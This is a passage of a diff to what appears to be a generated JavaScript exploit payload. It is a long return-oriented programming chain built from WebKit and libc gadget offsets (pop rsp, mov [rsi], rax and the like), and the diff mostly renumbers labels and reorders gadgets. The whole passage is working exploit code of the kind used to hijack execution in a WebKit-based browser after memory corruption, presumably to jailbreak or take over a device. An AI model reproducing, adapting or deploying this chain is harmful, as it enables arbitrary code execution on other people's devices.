webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3137: +//L3147: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+198832, //L3139 +ropchain+199472, //L3149 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3139: +//L3149: db([0, 0]); // 0x0 set_gadgets([ webkit_base+865136, //mov [rax], cl @@ -22606,79 +22707,79 @@ libc_base+793877 //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -//L3140: +//L3150: libc_base+793877, //pop rsi -ropchain+198920, //L3141 +ropchain+199576, //L3153 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L3141: +//L3152: +db([4294967268, 4294967295]); // -0x1c +set_gadget(libc_base+792472,); //pop rcx +//L3153: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L3142: -db([4294967276, 4294967295]); // -0x14 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+199024, //L3144 +ropchain+199664, //L3154 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+199040, //L3145 +ropchain+199680, //L3156 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L3144: +//L3154: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3145: +//L3156: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+199192, //L3147 +ropchain+199832, //L3157 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+199224, //L3150 +ropchain+199864, //L3160 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+199208, //L3148 +ropchain+199816, //L3158 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+199176, //L3149 +ropchain+199848, //L3159 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3149: +//L3158: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3147: +//L3157: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3148: +//L3159: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3150: +//L3160: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+199320, //L3152 +ropchain+199960, //L3162 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+199304, //L3151 +ropchain+199944, //L3161 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3151: +//L3161: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3152: +//L3162: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -22686,38 +22787,38 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+199408, //L3154 +ropchain+200048, //L3164 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L3153: +//L3163: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L3154: +//L3164: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+199464, //L3155 +ropchain+200120, //L3167 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L3155: +//L3166: +db([4294967268, 4294967295]); // -0x1c +set_gadget(libc_base+792472,); //pop rcx +//L3167: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L3156: -db([4294967276, 4294967295]); // -0x14 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+199544, //L3159 +ropchain+200184, //L3169 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3159: +//L3169: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -22727,21 +22828,21 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+811575, //pop rsp -ropchain+193456, //L2999 -//L3032: +ropchain+193736, //L3000 +//L3042: libc_base+811575, //pop rsp -ropchain+209792, //L3160 -//L2987: +ropchain+210432, //L3170 +//L2989: libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+199672, //L3162 +ropchain+200312, //L3172 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L3161: +//L3171: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3162: +//L3172: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -22750,7 +22851,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L3163: +//L3173: db([1, 0]); // 0x1 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -22759,7 +22860,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L3164: +//L3174: db([2, 0]); // 0x2 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -22767,8 +22868,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L3166: -ropchain+199872, //L3165 +//L3176: +ropchain+200512, //L3175 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -22776,8 +22877,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+220672, //L3167 -//L3165: +ropchain+219984, //L3177 +//L3175: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -22785,222 +22886,222 @@ db([4294967272, 4294967295]); // -0x18 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+199944, //L3168 +ropchain+200600, //L3180 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L3168: +//L3179: +db([4294967264, 4294967295]); // -0x20 +set_gadget(libc_base+792472,); //pop rcx +//L3180: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L3169: -db([4294967272, 4294967295]); // -0x18 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+50775, //mov rax, rdi libc_base+792472 //pop rcx ]); -//L3172: +//L3182: db([0, 0]); // 0x0 set_gadgets([ webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+200064, //L3174 +ropchain+200704, //L3184 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L3173: +//L3183: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L3174: +//L3184: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+50775, //mov rax, rdi libc_base+792472 //pop rcx ]); -//L3176: +//L3186: db([0, 0]); // 0x0 set_gadgets([ webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+200160, //L3178 +ropchain+200800, //L3188 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L3177: +//L3187: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L3178: +//L3188: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+200232, //L3180 +ropchain+200872, //L3190 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L3179: +//L3189: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L3180: +//L3190: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+200304, //L3182 +ropchain+200944, //L3192 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L3181: +//L3191: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L3182: +//L3192: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+200376, //L3184 +ropchain+201016, //L3194 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L3183: +//L3193: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L3184: +//L3194: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+200448, //L3186 +ropchain+201088, //L3196 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L3185: +//L3195: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L3186: +//L3196: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+200520, //L3188 +ropchain+201160, //L3198 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L3187: +//L3197: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L3188: +//L3198: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+200592, //L3190 +ropchain+201232, //L3200 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L3189: +//L3199: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L3190: +//L3200: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+200664, //L3192 +ropchain+201304, //L3202 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L3191: +//L3201: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L3192: +//L3202: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L3193: -db([4294967257, 4294967295]); // -0x27 +//L3204: +db([4294967249, 4294967295]); // -0x2f set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+200760, //L3196 +ropchain+201400, //L3206 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L3195: +//L3205: db([2, 0]); // 0x2 set_gadget(libc_base+788575,); //pop rax -//L3196: +//L3206: db([0, 0]); // 0x0 set_gadgets([ webkit_base+865136, //mov [rax], cl libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L3197: -db([4294967258, 4294967295]); // -0x26 +//L3208: +db([4294967250, 4294967295]); // -0x2e set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+200848, //L3199 +ropchain+201488, //L3209 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L3199: +//L3209: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3201: +//L3211: db([15395, 0]); // 0x3c23 set_gadgets([ libc_base+562536, //mov [rdi], cx libc_base+793877, //pop rsi -ropchain+200920, //L3202 +ropchain+201576, //L3214 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+206806 //pop rdi +libc_base+793877 //pop rsi ]); -//L3202: +//L3213: +db([4294967252, 4294967295]); // -0x2c +set_gadget(libc_base+206806,); //pop rdi +//L3214: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L3203: -db([4294967260, 4294967295]); // -0x24 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+201000, //L3206 +ropchain+201640, //L3216 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L3205: +//L3215: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3206: +//L3216: db([0, 0]); // 0x0 set_gadgets([ webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+201048, //L3207 +ropchain+201704, //L3218 webkit_base+7438103, //mov [rsi], rax -libc_base+792472 //pop rcx +libc_base+788575 //pop rax ]); -//L3207: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L3208: +//L3217: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L3218: +db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ @@ -23008,14 +23109,14 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+201160, //L3210 +ropchain+201800, //L3220 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L3209: -db([4294967256, 4294967295]); // -0x28 +//L3219: +db([4294967248, 4294967295]); // -0x30 set_gadget(libc_base+788575,); //pop rax -//L3210: +//L3220: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi @@ -23026,77 +23127,77 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+201248, //L3211 +ropchain+201904, //L3223 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L3211: +//L3222: +db([4294967264, 4294967295]); // -0x20 +set_gadget(libc_base+792472,); //pop rcx +//L3223: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L3212: -db([4294967272, 4294967295]); // -0x18 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+201352, //L3214 +ropchain+201992, //L3224 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+201368, //L3215 +ropchain+202008, //L3226 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L3214: +//L3224: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3215: +//L3226: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+201520, //L3217 +ropchain+202160, //L3227 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+201552, //L3220 +ropchain+202192, //L3230 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+201536, //L3218 +ropchain+202144, //L3228 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+201504, //L3219 +ropchain+202176, //L3229 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3219: +//L3228: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3217: +//L3227: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3218: +//L3229: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3220: +//L3230: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+201648, //L3222 +ropchain+202288, //L3232 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+201632, //L3221 +ropchain+202272, //L3231 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3221: +//L3231: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3222: +//L3232: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -23104,8 +23205,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L3224: -ropchain+201752, //L3223 +//L3234: +ropchain+202392, //L3233 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -23113,8 +23214,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+215360, //L3225 -//L3223: +ropchain+218656, //L3235 +//L3233: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -23123,7 +23224,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+788575 //pop rax ]); -//L3226: +//L3236: db([1, 0]); // 0x1 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -23131,77 +23232,77 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+201872, //L3227 +ropchain+202528, //L3239 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L3227: +//L3238: +db([4294967264, 4294967295]); // -0x20 +set_gadget(libc_base+792472,); //pop rcx +//L3239: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L3228: -db([4294967272, 4294967295]); // -0x18 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+201976, //L3230 +ropchain+202616, //L3240 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+201992, //L3231 +ropchain+202632, //L3242 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L3230: +//L3240: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3231: +//L3242: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+202144, //L3233 +ropchain+202784, //L3243 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+202176, //L3236 +ropchain+202816, //L3246 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+202160, //L3234 +ropchain+202768, //L3244 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+202128, //L3235 +ropchain+202800, //L3245 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3235: +//L3244: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3233: +//L3243: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3234: +//L3245: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3236: +//L3246: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+202272, //L3238 +ropchain+202912, //L3248 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+202256, //L3237 +ropchain+202896, //L3247 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3237: +//L3247: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3238: +//L3248: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -23209,8 +23310,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L3240: -ropchain+202376, //L3239 +//L3250: +ropchain+203016, //L3249 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -23218,8 +23319,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+219344, //L3241 -//L3239: +ropchain+214624, //L3251 +//L3249: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -23228,7 +23329,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+788575 //pop rax ]); -//L3242: +//L3252: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -23237,7 +23338,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L3243: +//L3253: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -23245,77 +23346,77 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+202544, //L3244 +ropchain+203200, //L3256 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L3244: +//L3255: +db([4294967264, 4294967295]); // -0x20 +set_gadget(libc_base+792472,); //pop rcx +//L3256: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L3245: -db([4294967272, 4294967295]); // -0x18 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+202648, //L3247 +ropchain+203288, //L3257 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+202664, //L3248 +ropchain+203304, //L3259 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L3247: +//L3257: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3248: +//L3259: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+202816, //L3250 +ropchain+203456, //L3260 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+202848, //L3253 +ropchain+203488, //L3263 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+202832, //L3251 +ropchain+203440, //L3261 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+202800, //L3252 +ropchain+203472, //L3262 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3252: +//L3261: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3250: +//L3260: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3251: +//L3262: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3253: +//L3263: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+202944, //L3255 +ropchain+203584, //L3265 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+202928, //L3254 +ropchain+203568, //L3264 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3254: +//L3264: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3255: +//L3265: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -23323,8 +23424,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L3257: -ropchain+203048, //L3256 +//L3267: +ropchain+203688, //L3266 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -23332,8 +23433,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+218016, //L3258 -//L3256: +ropchain+221312, //L3268 +//L3266: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -23341,328 +23442,328 @@ db([4294967272, 4294967295]); // -0x18 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+203184, //L3259 +ropchain+203824, //L3270 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+203200, //L3261 +ropchain+203840, //L3271 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+203168, //L3260 +ropchain+203808, //L3269 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3260: +//L3269: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3259: +//L3270: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3261: +//L3271: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+203304, //L3263 +ropchain+203944, //L3274 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+203288, //L3262 +ropchain+203960, //L3275 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+206806 //pop rdi +libc_base+793877 //pop rsi ]); -//L3262: -db([0, 0]); // 0x0 +//L3272: +db([4294967264, 4294967295]); // -0x20 set_gadget(libc_base+792472,); //pop rcx -//L3263: +//L3274: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L3275: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L3264: -db([4294967272, 4294967295]); // -0x18 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L3266: +//L3277: +db([4294967280, 4294967295]); // -0x10 +set_gadget(libc_base+792472,); //pop rcx +//L3278: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L3267: -db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+203464, //L3269 +ropchain+204104, //L3279 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+203480, //L3270 +ropchain+204120, //L3281 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L3269: +//L3279: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3270: +//L3281: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+203584, //L3273 +ropchain+204224, //L3284 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+203568, //L3272 +ropchain+204240, //L3285 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+206806 //pop rdi +libc_base+793877 //pop rsi ]); -//L3272: -db([0, 0]); // 0x0 +//L3282: +db([4294967240, 4294967295]); // -0x38 set_gadget(libc_base+792472,); //pop rcx -//L3273: +//L3284: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L3285: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L3274: -db([4294967248, 4294967295]); // -0x30 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+2997875, //mov [rax], rcx libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L3276: +//L3287: +db([4294967236, 4294967295]); // -0x3c +set_gadget(libc_base+792472,); //pop rcx +//L3288: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L3277: -db([4294967244, 4294967295]); // -0x34 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+203720, //L3280 +ropchain+204360, //L3290 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L3279: +//L3289: db([131072, 0]); // 0x20000 set_gadget(libc_base+788575,); //pop rax -//L3280: +//L3290: db([0, 0]); // 0x0 set_gadgets([ webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+203776, //L3283 +ropchain+204416, //L3293 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov 